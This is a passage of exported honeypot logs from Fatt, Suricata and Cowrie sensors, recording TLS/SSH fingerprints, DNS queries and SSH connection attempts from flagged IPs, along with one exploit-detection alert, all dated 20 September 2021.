35239	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:07:20.835918+03	2021-09-20 15:15:02.995691+03	{"_id": "7wYaA3wBvYTbRNuEgVqW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36094, "dest_port": 443, "timestamp": "2021-09-20T12:07:20.835918", "@timestamp": "2021-09-20T12:07:20.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35240	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:07:20.875428+03	2021-09-20 15:15:02.996691+03	{"_id": "8AYaA3wBvYTbRNuEgVqW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36094, "timestamp": "2021-09-20T12:07:20.875428", "@timestamp": "2021-09-20T12:07:20.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35241	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:07:20.444822+03	2021-09-20 15:15:02.99769+03	{"_id": "3gYaA3wBvYTbRNuEgFpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4663, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2078426906806678, "@version": "1", "in_iface": "enp5s0", "src_port": 48977, "dest_port": 53, "timestamp": "2021-09-20T12:07:20.444822Z", "@timestamp": "2021-09-20T12:07:20.444Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35285	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:08:07.717688+03	2021-09-20 15:15:03.06769+03	{"_id": "RAYbA3wBvYTbRNuEOlu3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "a808d83df426", "@version": "1", "duration": 5.519583225250244, "timestamp": "2021-09-20T12:08:07.717688Z", "@timestamp": "2021-09-20T12:08:07.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35242	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:07:20.498604+03	2021-09-20 15:15:02.999689+03	{"_id": "6QYaA3wBvYTbRNuEgVqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36092, "dest_port": 443, "timestamp": "2021-09-20T12:07:20.498604", "@timestamp": "2021-09-20T12:07:20.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35243	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 15:07:26.025815+03	2021-09-20 15:15:03.00069+03	{"_id": "9wYaA3wBvYTbRNuEllqU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 36.27.214.211:36202 (192.168.176.2:22) [session: b8c7fb65aae3]", "session": "b8c7fb65aae3", "@version": "1", "protocol": "ssh", "src_port": 36202, "dest_port": 22, "timestamp": "2021-09-20T12:07:26.025815Z", "@timestamp": "2021-09-20T12:07:26.025Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35244	fe80:0000:0000:0000:319d:3e8f:a38d:b93f	109.199.241.180	Suricata	2021-09-20 15:07:07.931695+03	2021-09-20 15:15:03.00269+03	{"_id": "twYaA3wBvYTbRNuEUVpa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:07:07.931695+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:319d:3e8f:a38d:b93f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 688253366384495, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T12:07:07.931695Z", "@timestamp": "2021-09-20T12:07:07.931Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
35245	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:07:53.331511+03	2021-09-20 15:15:03.00369+03	{"_id": "HgYbA3wBvYTbRNuEAFsW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:41462 (192.168.176.2:22) [session: 7489647b16b7]", "session": "7489647b16b7", "@version": "1", "protocol": "ssh", "src_port": 41462, "dest_port": 22, "timestamp": "2021-09-20T12:07:53.331511Z", "@timestamp": "2021-09-20T12:07:53.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35246	223.241.247.214	109.199.241.180	Suricata	2021-09-20 15:07:53.609636+03	2021-09-20 15:15:03.004689+03	{"_id": "IAYbA3wBvYTbRNuEAVs6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:07:53.055220+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1710897967519668, "payload": "AAADzAYUjpQptpbFuFpx55884RZrrgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41462, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:07:53.609636Z", "@timestamp": "2021-09-20T12:07:53.609Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........)....Zq..<..k....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35247	223.241.247.214	109.199.241.180	Fatt	2021-09-20 15:07:53.609636+03	2021-09-20 15:15:03.00569+03	{"_id": "JAYbA3wBvYTbRNuEAltB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41462, "dest_port": 22, "timestamp": "2021-09-20T12:07:53.609636", "@timestamp": "2021-09-20T12:07:53.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35248	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:07:53.336898+03	2021-09-20 15:15:03.007692+03	{"_id": "IwYbA3wBvYTbRNuEAltB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41462, "timestamp": "2021-09-20T12:07:53.336898", "@timestamp": "2021-09-20T12:07:53.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35249	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 15:07:53.610243+03	2021-09-20 15:15:03.008693+03	{"_id": "JQYbA3wBvYTbRNuEA1v_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7489647b16b7", "@version": "1", "timestamp": "2021-09-20T12:07:53.610243Z", "@timestamp": "2021-09-20T12:07:53.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35250	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:07:44.116321+03	2021-09-20 15:15:03.009692+03	{"_id": "EQYaA3wBvYTbRNuE3lsO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:07:43.556717+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 199217655021229, "payload": "AAADzAYU2CmAEcyb/+YsE1Mu7Xy6twAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2317, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:07:44.116321Z", "@timestamp": "2021-09-20T12:07:44.116Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 